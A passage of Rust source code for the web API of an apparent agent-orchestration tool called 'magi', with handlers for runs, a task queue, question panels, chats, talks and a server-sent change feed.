1817 let _ = updater::write_progress(&home, &progress);
1818 }
1819 }
1820 });
1821
1822 Ok((
1823 StatusCode::ACCEPTED,
1824 Json(UpgradeView {
1825 from,
1826 to: Some(latest.tag_name),
1827 parked,
1828 detail,
1829 }),
1830 ))
1831}
1832
1833async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
1838 crate::updater::run_self_update(true, false, true).await?;
1841 tracing::info!("binary replaced - asking the server to hand over");
1842 if let Some(mut progress) = updater::read_progress(&home) {
1843 progress.advance(updater::Stage::Replaced);
1844 let _ = updater::write_progress(&home, &progress);
1845 }
1846 HANDOVER.notify_one();
1847 Ok(())
1848}
1849
1850#[derive(Debug, Serialize)]
1856struct RunSummary {
1857 id: String,
1858 short: String,
1859 status: String,
1860 done: bool,
1861 instruction: String,
1862 title: String,
1863 repo: String,
1864 repo_name: String,
1865 created_at: String,
1866 updated_at: String,
1867 candidates: usize,
1868 viable: usize,
1869 judges: usize,
1870 winner: Option<char>,
1871 reviews: usize,
1872 quota_losses: usize,
1873 event: Option<String>,
1874 superseded_by: Option<String>,
1879 waiting: bool,
1886 pr: Option<crate::run::PrRecord>,
1888}
1889
1890impl RunSummary {
1891 fn of(state: &RunState, waiting: bool) -> Self {
1892 Self {
1893 id: state.id.clone(),
1894 short: state.short().to_owned(),
1895 status: status_word(state.status),
1896 done: state.status.done(),
1897 instruction: state.instruction.clone(),
1898 title: title_from(&state.instruction, TITLE_MAX),
1899 repo: state.repo.display().to_string(),
1900 repo_name: state
1901 .repo
1902 .file_name()
1903 .map(|n| n.to_string_lossy().into_owned())
1904 .unwrap_or_default(),
1905 created_at: state.created_at.to_string(),
1906 updated_at: state.updated_at.to_string(),
1907 candidates: state.candidates.len(),
1908 viable: state.viable().len(),
1909 judges: state.config.graph.judges,
1910 winner: state.winner().map(|c| c.label),
1911 reviews: state.reviews.len(),
1912 quota_losses: state.quota.len(),
1913 event: state.events.last().map(|e| e.message.clone()),
1914 waiting,
1915 superseded_by: None,
1918 pr: state.pr.clone(),
1919 }
1920 }
1921}
1922
1923fn status_word(status: RunStatus) -> String {
1926 status.as_str().to_owned()
1930}
1931
1932#[derive(Debug, Deserialize)]
1934struct ListQuery {
1935 #[serde(default)]
1936 limit: Option<usize>,
1937}
1938
1939async fn runs_list(
1940 State(ui): State<Arc<Ui>>,
1941 Query(q): Query<ListQuery>,
1942) -> ApiResult<Json<Vec<RunSummary>>> {
1943 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
1944 blocking(move || {
1945 let superseded = superseded_runs(&ui.queue);
1946 let summaries = run_ids(&ui.runs)
1947 .into_iter()
1948 .filter_map(|id| read_run(&ui.runs, &id).ok())
1953 .take(limit)
1954 .map(|state| {
1955 let waiting = !ui.questions.open_for(&state.id).is_empty();
1956 let by = superseded.get(&state.id).cloned();
1957 let mut row = RunSummary::of(&state, waiting);
1958 row.superseded_by = by.as_deref().map(crate::run::short_of).map(str::to_owned);
1959 row
1960 })
1961 .collect();
1962 Ok(Json(summaries))
1963 })
1964 .await
1965}
1966
1967fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
1980 let mut by = HashMap::new();
1981 for task in queue.list() {
1982 for pair in task.runs.windows(2) {
1983 if let [earlier, later] = pair {
1984 by.insert(earlier.clone(), later.clone());
1985 }
1986 }
1987 }
1988 by
1989}
1990
1991#[derive(Debug, Serialize)]
1998struct RunDetailView {
1999 #[serde(flatten)]
2000 state: RunState,
2001 instruction_md: Vec<md::Node>,
2002 live: bool,
2012}
2013
2014impl RunDetailView {
2015 fn of(state: RunState, live: bool) -> Self {
2016 Self {
2017 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2018 live,
2019 state,
2020 }
2021 }
2022}
2023
2024async fn run_detail(
2025 State(ui): State<Arc<Ui>>,
2026 Path(id): Path<String>,
2027) -> ApiResult<Json<RunDetailView>> {
2028 blocking(move || {
2029 let id = resolve_run(&ui.runs, &id)?;
2030 let state = read_run(&ui.runs, &id)?;
2031 let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2032 Ok(Json(RunDetailView::of(state, live)))
2033 })
2034 .await
2035}
2036
2037async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2046 let (id, unreadable) = {
2047 let ui = Arc::clone(&ui);
2048 blocking(move || {
2049 let id = resolve_run(&ui.runs, &id)?;
2050 match read_run(&ui.runs, &id) {
2051 Ok(state) => {
2052 let in_flight =
2053 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2054 state
2055 .ensure_can_delete(in_flight)
2056 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2057 let dir = ui.runs.join(&id);
2058 std::fs::remove_dir_all(&dir)
2059 .with_context(|| format!("remove run directory {}", dir.display()))?;
2060 Ok((id, false))
2061 }
2062 Err(_) => {
2063 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2067 return Err(ApiError::conflict(format!(
2068 "run {id} is being worked on by a live daemon right now"
2069 )));
2070 }
2071 Ok((id, true))
2072 }
2073 }
2074 })
2075 .await?
2076 };
2077 if unreadable {
2078 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2079 .await
2080 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2081 }
2082 let ui = Arc::clone(&ui);
2083 let done = id.clone();
2084 blocking(move || {
2085 ui.questions.abandon_for_run(
2088 &done,
2089 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2090 )?;
2091 Ok(())
2092 })
2093 .await?;
2094 Ok(StatusCode::NO_CONTENT)
2095}
2096
2097async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2121 let (id, state) = {
2122 let ui = Arc::clone(&ui);
2123 blocking(move || {
2124 let id = resolve_run(&ui.runs, &id)?;
2125 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2126 return Err(ApiError::conflict(format!(
2127 "run {id} is being worked on by a live daemon right now"
2128 )));
2129 }
2130 let state = read_run(&ui.runs, &id).ok();
2131 Ok((id, state))
2132 })
2133 .await?
2134 };
2135 let removed = match state {
2136 Some(mut state) => crate::graph::fold_run(&mut state, true)
2137 .await
2138 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2139 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2140 .await
2141 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2142 };
2143 Ok(Json(FoldView {
2144 run: id,
2145 removed_count: removed.len(),
2146 removed,
2147 }))
2148}
2149
2150#[derive(Debug, Serialize)]
2152struct FoldView {
2153 run: String,
2154 removed: Vec<String>,
2156 removed_count: usize,
2157}
2158
2159async fn run_resume(
2178 State(ui): State<Arc<Ui>>,
2179 Path(id): Path<String>,
2180) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2181 let (id, state) = {
2182 let ui = Arc::clone(&ui);
2183 blocking(move || {
2184 let id = resolve_run(&ui.runs, &id)?;
2185 let state = read_run(&ui.runs, &id)?;
2186 Ok((id, state))
2187 })
2188 .await?
2189 };
2190 if !state.status.resumable() {
2191 return Err(ApiError::conflict(format!(
2192 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2193 state.short(),
2194 status_word(state.status)
2195 )));
2196 }
2197 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now()) {
2198 return Err(ApiError::conflict(format!(
2199 "the loop is running run {} right now; magi runs one competition at \
2200 a time so the agent quota is not spent twice over. Stop the loop \
2201 first.",
2202 crate::run::short_of(&work.run)
2203 )));
2204 }
2205 let _resume = ui.begin_resume(&id)?;
2206
2207 let queued = RunSummary::of(&state, !ui.questions.open_for(&id).is_empty());
2210 let run = id.clone();
2211 tokio::spawn(async move {
2212 let _resume = _resume;
2213 match crate::graph::Runner::resume(&run) {
2214 Ok(mut runner) => {
2215 if let Err(e) = runner.execute().await {
2216 tracing::warn!("resume of run {run} stopped: {e:#}");
2217 }
2218 }
2219 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2222 }
2223 });
2224 Ok((StatusCode::ACCEPTED, Json(queued)))
2225}
2226
2227async fn run_report(
2228 State(ui): State<Arc<Ui>>,
2229 Path(id): Path<String>,
2230) -> ApiResult<impl IntoResponse> {
2231 let text = blocking(move || {
2232 let id = resolve_run(&ui.runs, &id)?;
2233 let state = read_run(&ui.runs, &id)?;
2237 let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2238 Ok(format!(
2239 "{}{}",
2240 report::run(&state),
2241 report::active_seats(&state, live)
2242 ))
2243 })
2244 .await?;
2245 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2246}
2247
2248#[derive(Debug, Serialize)]
2254struct TaskView {
2255 #[serde(flatten)]
2256 task: Task,
2257 source_label: String,
2258 status_str: &'static str,
2259 instruction_md: Vec<md::Node>,
2263}
2264
2265impl From<Task> for TaskView {
2266 fn from(task: Task) -> Self {
2267 Self {
2268 source_label: task.source.label(),
2269 status_str: task.status.as_str(),
2270 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2271 task,
2272 }
2273 }
2274}
2275
2276#[derive(Debug, Default, Deserialize)]
2279#[serde(default)]
2280struct ReposQuery {
2281 refresh: u8,
2282}
2283
2284async fn repos_list(
2292 State(ui): State<Arc<Ui>>,
2293 Query(q): Query<ReposQuery>,
2294) -> ApiResult<Json<Vec<repos::Repo>>> {
2295 let refresh = q.refresh != 0;
2296 blocking(move || {
2297 let (cfg, _) = Config::discover(&ui.repo, None)?;
2298 Ok(Json(ui.repos_cache.list(
2299 &cfg.repos.roots,
2300 Duration::from_secs(cfg.repos.scan_ttl),
2301 refresh,
2302 )))
2303 })
2304 .await
2305}
2306
2307async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2308 blocking(move || {
2309 Ok(Json(
2310 ui.queue.list().into_iter().map(TaskView::from).collect(),
2311 ))
2312 })
2313 .await
2314}
2315
2316#[derive(Debug, Default, Deserialize)]
2319#[serde(default, deny_unknown_fields)]
2320struct HoldBody {
2321 reason: Option<String>,
2322}
2323
2324async fn queue_hold(
2325 State(ui): State<Arc<Ui>>,
2326 Path(id): Path<String>,
2327 body: std::result::Result<Json<HoldBody>, JsonRejection>,
2328) -> ApiResult<Json<TaskView>> {
2329 let body = match body {
2333 Ok(Json(body)) => body,
2334 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
2335 Err(e) => return Err(ApiError::bad_request(e.body_text())),
2336 };
2337 let reason = body.reason.filter(|r| !r.trim().is_empty());
2338 mutate(ui, id, move |t| {
2339 t.hold(reason.clone());
2340 Ok(())
2341 })
2342 .await
2343}
2344
2345async fn queue_release(
2346 State(ui): State<Arc<Ui>>,
2347 Path(id): Path<String>,
2348) -> ApiResult<Json<TaskView>> {
2349 mutate(ui, id, |t| {
2350 t.release();
2351 Ok(())
2352 })
2353 .await
2354}
2355
2356#[derive(Debug, Deserialize)]
2358#[serde(deny_unknown_fields)]
2359struct PriorityBody {
2360 priority: i32,
2361}
2362
2363async fn queue_priority(
2369 State(ui): State<Arc<Ui>>,
2370 Path(id): Path<String>,
2371 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
2372) -> ApiResult<Json<TaskView>> {
2373 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2374 mutate(ui, id, move |t| t.set_priority(body.priority)).await
2375}
2376
2377#[derive(Debug, Deserialize)]
2379#[serde(deny_unknown_fields)]
2380struct EditBody {
2381 title: String,
2382 instruction: String,
2383}
2384
2385async fn queue_edit(
2389 State(ui): State<Arc<Ui>>,
2390 Path(id): Path<String>,
2391 body: std::result::Result<Json<EditBody>, JsonRejection>,
2392) -> ApiResult<Json<TaskView>> {
2393 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2394 mutate(ui, id, move |t| {
2395 t.edit(body.title.clone(), body.instruction.clone())
2396 })
2397 .await
2398}
2399
2400async fn queue_done(
2408 State(ui): State<Arc<Ui>>,
2409 Path(id): Path<String>,
2410) -> ApiResult<Json<TaskView>> {
2411 mutate(ui, id, |t| {
2412 t.succeed();
2413 Ok(())
2414 })
2415 .await
2416}
2417
2418async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2426 blocking(move || {
2427 let id = resolve_task(&ui.queue, &id)?;
2428 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2429 ui.queue
2430 .remove(&id, in_flight)
2431 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2432 Ok(StatusCode::NO_CONTENT)
2433 })
2434 .await
2435}
2436
2437async fn mutate(
2446 ui: Arc<Ui>,
2447 id: String,
2448 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
2449) -> ApiResult<Json<TaskView>> {
2450 blocking(move || {
2451 let id = resolve_task(&ui.queue, &id)?;
2452 let _claim = ui.queue.claim(&id).map_err(|e| {
2457 ApiError::conflict(format!(
2458 "{e:#} - a daemon is running this task, so it cannot be \
2459 changed from here yet"
2460 ))
2461 })?;
2462 let mut task = ui.queue.get(&id)?;
2463 change(&mut task).map_err(ApiError::bad_request_from)?;
2464 ui.queue.put(&mut task)?;
2465 Ok(Json(TaskView::from(task)))
2466 })
2467 .await
2468}
2469
2470async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2478 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2479 tokio::spawn(async move {
2480 let mut ticker = tokio::time::interval(POLL);
2481 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
2482 loop {
2483 ticker.tick().await;
2486 let state = Arc::clone(&ui);
2487 let revisions = tokio::task::spawn_blocking(move || {
2488 (
2489 state.queue.revision(),
2490 runs_revision(&state.runs),
2491 state.questions.revision(),
2492 state.chats.revision(),
2493 state.talks.revision(),
2494 state.lock_loop().rev,
2498 )
2499 })
2500 .await;
2501 let Ok(revisions) = revisions else { break };
2502 if last == Some(revisions) {
2503 continue;
2504 }
2505 last = Some(revisions);
2506 let payload = serde_json::json!({
2507 "queue_rev": revisions.0,
2508 "runs_rev": revisions.1,
2509 "questions_rev": revisions.2,
2510 "chats_rev": revisions.3,
2511 "talks_rev": revisions.4,
2512 "loop_rev": revisions.5,
2513 });
2514 let Ok(event) = Event::default().event("change").json_data(payload) else {
2516 break;
2517 };
2518 if tx.send(event).await.is_err() {
2519 break;
2520 }
2521 }
2522 });
2523 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2524 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2525}
2526
2527fn runs_revision(runs: &FsPath) -> u64 {
2534 use std::hash::{Hash as _, Hasher as _};
2535
2536 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2537 .into_iter()
2538 .flatten()
2539 .flatten()
2540 .filter_map(|e| {
2541 let path = e.path().join("run.json");
2542 let mtime = path
2543 .metadata()
2544 .ok()?
2545 .modified()
2546 .ok()?
2547 .duration_since(std::time::UNIX_EPOCH)
2548 .ok()?
2549 .as_millis() as u64;
2550 let id = e.file_name().to_string_lossy().into_owned();
2551 Some((id, mtime))
2552 })
2553 .collect();
2554
2555 if entries.is_empty() {
2556 return 0;
2557 }
2558
2559 entries.sort_unstable();
2560 let mut hasher = std::hash::DefaultHasher::new();
2561 for (id, mtime) in &entries {
2562 id.hash(&mut hasher);
2563 mtime.hash(&mut hasher);
2564 }
2565 let h = hasher.finish();
2566 if h == 0 { 1 } else { h }
2567}
2568
2569fn run_ids(runs: &FsPath) -> Vec<String> {
2575 let mut ids: Vec<String> = std::fs::read_dir(runs)
2576 .into_iter()
2577 .flatten()
2578 .flatten()
2579 .filter(|e| e.path().join("run.json").is_file())
2580 .map(|e| e.file_name().to_string_lossy().into_owned())
2581 .collect();
2582 ids.sort_unstable_by(|a, b| b.cmp(a));
2584 ids
2585}
2586
2587fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2589 let path = runs.join(id).join("run.json");
2590 let body =
2591 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2592 let state: RunState =
2593 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2594 if state.schema != run::SCHEMA {
2595 anyhow::bail!(
2596 "run {} was written by a different magi (schema {}, this build speaks {})",
2597 state.id,
2598 state.schema,
2599 run::SCHEMA
2600 );
2601 }
2602 Ok(state)
2603}
2604
2605#[must_use]
2613pub fn runs_unreadable(runs: &FsPath) -> usize {
2614 run_ids(runs)
2615 .into_iter()
2616 .filter(|id| read_run(runs, id).is_err())
2617 .count()
2618}
2619
2620fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2622 if runs.join(id).join("run.json").is_file() {
2623 return Ok(id.to_owned());
2624 }
2625 pick(run_ids(runs), id, "run")
2626}
2627
2628fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2630 if queue.path_of(id).is_file() {
2631 return Ok(id.to_owned());
2632 }
2633 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2634}
2635
2636#[derive(Debug, Serialize)]
2647struct QuestionView {
2648 #[serde(flatten)]
2649 question: Question,
2650 detail_md: Vec<md::Node>,
2651}
2652
2653impl From<Question> for QuestionView {
2654 fn from(question: Question) -> Self {
2655 let base = md::ImageBase::QuestionPanel {
2656 id: question.id.clone(),
2657 };
2658 Self {
2659 detail_md: md::to_nodes(&question.detail, &base),
2660 question,
2661 }
2662 }
2663}
2664
2665async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
2671 blocking(move || {
2672 Ok(Json(
2673 ui.questions
2674 .list()
2675 .into_iter()
2676 .map(QuestionView::from)
2677 .collect(),
2678 ))
2679 })
2680 .await
2681}
2682
2683#[derive(Debug, Default, Deserialize)]
2689#[serde(default, deny_unknown_fields)]
2690struct NewAnswer {
2691 choice: Option<String>,
2692 text: Option<String>,
2693}
2694
2695async fn question_answer(
2696 State(ui): State<Arc<Ui>>,
2697 Path(id): Path<String>,
2698 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
2699) -> ApiResult<Json<QuestionView>> {
2700 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2701 let answer = match (body.choice, body.text) {
2702 (Some(c), None) => Answer::Choice(c),
2703 (None, Some(t)) => Answer::Text(t),
2704 (Some(_), Some(_)) => {
2705 return Err(ApiError::bad_request(
2706 "send either `choice` or `text`, not both",
2707 ));
2708 }
2709 (None, None) => {
2710 return Err(ApiError::bad_request("send a `choice` or a `text`"));
2711 }
2712 };
2713
2714 blocking(move || {
2715 let id = resolve_question(&ui.questions, &id)?;
2716 let mut q = ui
2717 .questions
2718 .get(&id)
2719 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
2720 if !q.status.open() {
2721 return Err(ApiError::conflict(format!(
2725 "question {} is already {}",
2726 q.short(),
2727 q.status.as_str()
2728 )));
2729 }
2730 q.answer(answer).map_err(ApiError::bad_request_from)?;
2734 ui.questions.put(&mut q)?;
2735 Ok(Json(QuestionView::from(q)))
2736 })
2737 .await
2738}
2739
2740fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
2742 if store.path_of(id).is_file() {
2743 return Ok(id.to_owned());
2744 }
2745 pick(
2746 store.list().into_iter().map(|q| q.id).collect(),
2747 id,
2748 "question",
2749 )
2750}
2751
2752async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
2767 blocking(move || {
2768 let id = resolve_question(&ui.questions, &id)?;
2769 let Some(html) = ui.questions.panel_html(&id) else {
2770 return Err(ApiError::not_found(format!("question {id} has no panel")));
2771 };
2772 Ok(panel_response(
2773 "text/html; charset=utf-8",
2774 false,
2775 html.into_bytes(),
2776 ))
2777 })
2778 .await
2779}
2780
2781async fn question_asset(
2809 State(ui): State<Arc<Ui>>,
2810 Path((id, name)): Path<(String, String)>,
2811) -> ApiResult<Response> {
2812 if !crate::ask::valid_asset_name(&name) {
2815 return Err(ApiError::bad_request(format!(
2816 "`{name}` is not a usable asset name"
2817 )));
2818 }
2819 blocking(move || {
2820 let id = resolve_question(&ui.questions, &id)?;
2821 let asset = ui
2822 .questions
2823 .panel_asset(&id, &name)
2824 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2825 let Some(bytes) = asset else {
2826 return Err(ApiError::not_found(format!(
2827 "question {id} has no asset `{name}`"
2828 )));
2829 };
2830 Ok(panel_response(
2831 asset_content_type(&name),
2832 is_svg(&name),
2833 bytes,
2834 ))
2835 })
2836 .await
2837}
2838
2839fn asset_content_type(name: &str) -> &'static str {
2852 match extension(name).as_deref() {
2853 Some("png") => "image/png",
2854 Some("jpg" | "jpeg") => "image/jpeg",
2855 Some("gif") => "image/gif",
2856 Some("webp") => "image/webp",
2857 Some("svg") => "image/svg+xml",
2858 Some("css") => "text/css; charset=utf-8",
2859 Some("txt") => "text/plain; charset=utf-8",
2860 _ => "application/octet-stream",
2861 }
2862}
2863
2864fn is_svg(name: &str) -> bool {
2867 extension(name).as_deref() == Some("svg")
2868}
2869
2870fn extension(name: &str) -> Option<String> {
2872 name.rsplit_once('.')
2873 .map(|(_, ext)| ext.to_ascii_lowercase())
2874}
2875
2876fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
2893 let mut res = (
2894 [
2895 (header::CONTENT_TYPE, content_type),
2896 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
2897 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
2898 (header::REFERRER_POLICY, "no-referrer"),
2899 ],
2900 body,
2901 )
2902 .into_response();
2903 if download {
2904 res.headers_mut().insert(
2905 header::CONTENT_DISPOSITION,
2906 HeaderValue::from_static("attachment"),
2907 );
2908 }
2909 res
2910}
2911
2912#[derive(Debug, Serialize)]
2921struct ChatView {
2922 #[serde(flatten)]
2923 chat: Chat,
2924 turn_bodies_md: Vec<Vec<md::Node>>,
2925 draft_md: Option<Vec<md::Node>>,
2926}
2927
2928impl From<Chat> for ChatView {
2929 fn from(chat: Chat) -> Self {
2930 let turn_bodies_md = chat
2931 .turns
2932 .iter()
2933 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
2934 .collect();
2935 let draft_md = chat
2936 .draft
2937 .as_deref()
2938 .map(|draft| md::to_nodes(draft, &md::ImageBase::None));
2939 Self {
2940 turn_bodies_md,
2941 draft_md,
2942 chat,
2943 }
2944 }
2945}
2946
2947async fn chats_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<ChatView>>> {
2955 blocking(move || {
2956 Ok(Json(
2957 ui.chats.list().into_iter().map(ChatView::from).collect(),
2958 ))
2959 })
2960 .await
2961}
2962
2963async fn chat_detail(
2964 State(ui): State<Arc<Ui>>,
2965 Path(id): Path<String>,
2966) -> ApiResult<Json<ChatView>> {
2967 blocking(move || {
2968 let id = resolve_chat(&ui.chats, &id)?;
2969 Ok(Json(ChatView::from(ui.chats.get(&id)?)))
2970 })
2971 .await
2972}
2973
2974#[derive(Debug, Default, Deserialize)]
2985#[serde(default)]
2986struct NewChat {
2987 idea: String,
2988 agent: Option<String>,
2989 repo: Option<PathBuf>,
2990 from: Option<String>,
2991}
2992
2993async fn chat_post(
3002 State(ui): State<Arc<Ui>>,
3003 body: std::result::Result<Json<NewChat>, JsonRejection>,
3004) -> ApiResult<impl IntoResponse> {
3005 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3006 if body.idea.trim().is_empty() {
3007 return Err(ApiError::bad_request(
3008 "an interview needs something to interview about",
3009 ));
3010 }
3011
3012 let from = {
3016 let ui = Arc::clone(&ui);
3017 let from_id = body.from.clone();
3018 blocking(move || match from_id {
3019 None => Ok(None),
3020 Some(id) => {
3021 let resolved = resolve_chat(&ui.chats, &id)?;
3022 Ok(Some(ui.chats.get(&resolved)?))
3023 }
3024 })
3025 .await?
3026 };
3027
3028 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3032 let cfg = config_for(&repo).await?;
3033 let chat = chat::start(
3034 &ui.chats,
3035 &cfg,
3036 repo,
3037 &body.idea,
3038 body.agent.as_deref(),
3039 from.as_ref(),
3040 )
3041 .await
3042 .map_err(ApiError::from)?;
3043 Ok((StatusCode::CREATED, Json(ChatView::from(chat))))
3044}
3045
3046#[derive(Debug, Default, Deserialize)]
3048#[serde(default, deny_unknown_fields)]
3049struct NewTurn {
3050 text: String,
3051}
3052
3053async fn chat_say(
3079 State(ui): State<Arc<Ui>>,
3080 Path(id): Path<String>,
3081 body: std::result::Result<Json<NewTurn>, JsonRejection>,
3082) -> ApiResult<(StatusCode, Json<ChatView>)> {
3083 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3084 if body.text.trim().is_empty() {
3085 return Err(ApiError::bad_request("say something"));
3086 }
3087
3088 let id = {
3089 let ui = Arc::clone(&ui);
3090 let asked = id.clone();
3091 blocking(move || resolve_chat(&ui.chats, &asked)).await?
3092 };
3093 let _turn = ui.begin_turn(&id)?;
3097
3098 let (chat, cfg) = {
3099 let ui = Arc::clone(&ui);
3100 let id = id.clone();
3101 blocking(move || {
3102 let chat = ui.chats.get(&id)?;
3103 let (cfg, _) = Config::discover(&chat.repo, None)?;
3104 Ok((chat, cfg))
3105 })
3106 .await?
3107 };
3108
3109 let chats = ui.chats.clone();
3124 let text = {
3125 let mut chat = chat.clone();
3126 let chats = chats.clone();
3127 let said = body.text.clone();
3128 blocking(move || Ok(chat::record(&mut chat, &chats, &said)?)).await?
3129 };
3130 let mut chat = {
3133 let ui = Arc::clone(&ui);
3134 let id = id.clone();
3135 blocking(move || Ok(ui.chats.get(&id)?)).await?
3136 };
3137 let queued = chat.clone();
3138 tokio::spawn(async move {
3139 let _turn = _turn;
3140 if let Err(e) = chat::respond(&mut chat, &chats, &cfg, &text).await {
3141 tracing::warn!("chat {id} turn failed: {e:#}");
3144 }
3145 });
3146
3147 Ok((StatusCode::ACCEPTED, Json(ChatView::from(queued))))
3151}
3152
3153#[derive(Debug, Default, Deserialize)]
3155#[serde(default, deny_unknown_fields)]
3156struct FileDraft {
3157 priority: i32,
3158}
3159
3160async fn chat_file(
3167 State(ui): State<Arc<Ui>>,
3168 Path(id): Path<String>,
3169 body: std::result::Result<Json<FileDraft>, JsonRejection>,
3170) -> ApiResult<Json<serde_json::Value>> {
3171 let body = match body {
3176 Ok(Json(body)) => body,
3177 Err(JsonRejection::MissingJsonContentType(_)) => FileDraft::default(),
3178 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3179 };
3180
3181 blocking(move || {
3182 let id = resolve_chat(&ui.chats, &id)?;
3183 let mut chat = ui.chats.get(&id)?;
3184 if let Err(problems) = chat::draft_problems(&chat) {
3189 return Err(ApiError::bad_request_with(
3190 "the draft is not fileable yet",
3191 problems,
3192 ));
3193 }
3194 let task = chat::file_draft(&mut chat, &ui.chats, &ui.queue, body.priority)?;
3195 Ok(Json(serde_json::json!({ "task": task })))
3196 })
3197 .await
3198}
3199
3200fn resolve_chat(store: &Chats, id: &str) -> ApiResult<String> {
3202 pick(store.list().into_iter().map(|c| c.id).collect(), id, "chat")
3203}
3204
3205#[derive(Debug, Serialize)]
3211struct TalkView {
3212 #[serde(flatten)]
3213 talk: Talk,
3214 turn_bodies_md: Vec<Vec<md::Node>>,
3215}
3216
3217impl From<Talk> for TalkView {
3218 fn from(talk: Talk) -> Self {
3219 let turn_bodies_md = talk
3220 .turns
3221 .iter()
3222 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3223 .collect();
3224 Self {
3225 turn_bodies_md,
3226 talk,
3227 }
3228 }
3229}
3230
3231#[derive(Debug, Serialize)]
3236struct TalkDetailView {
3237 #[serde(flatten)]
3238 view: TalkView,
3239 tasks: Vec<TaskView>,
3240}
3241
3242async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
3247 blocking(move || {
3248 Ok(Json(
3249 ui.talks.list().into_iter().map(TalkView::from).collect(),
3250 ))
3251 })
3252 .await
3253}
3254
3255#[derive(Debug, Default, Deserialize)]
3261#[serde(default)]
3262struct NewTalk {
3263 agent: Option<String>,
3264 repo: Option<PathBuf>,
3265}
3266
3267async fn talk_post(
3270 State(ui): State<Arc<Ui>>,
3271 body: std::result::Result<Json<NewTalk>, JsonRejection>,
3272) -> ApiResult<impl IntoResponse> {
3273 let body = match body {
3277 Ok(Json(body)) => body,
3278 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
3279 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3280 };
3281 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3282 let cfg = config_for(&repo).await?;
3283 let view = blocking(move || {
3284 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
3285 Ok(TalkView::from(talk))
3286 })
3287 .await?;
3288 Ok((StatusCode::CREATED, Json(view)))
3289}
3290
3291async fn talk_detail(
3293 State(ui): State<Arc<Ui>>,
3294 Path(id): Path<String>,
3295) -> ApiResult<Json<TalkDetailView>> {
3296 blocking(move || {
3297 let id = resolve_talk(&ui.talks, &id)?;
3298 let talk = ui.talks.get(&id)?;
3299 let tasks = talk::tasks_of(&ui.queue, &talk.id)
3300 .into_iter()
3301 .map(TaskView::from)
3302 .collect();
3303 Ok(Json(TalkDetailView {
3304 view: TalkView::from(talk),
3305 tasks,
3306 }))
3307 })
3308 .await
3309}
3310
3311#[derive(Debug, Default, Deserialize)]
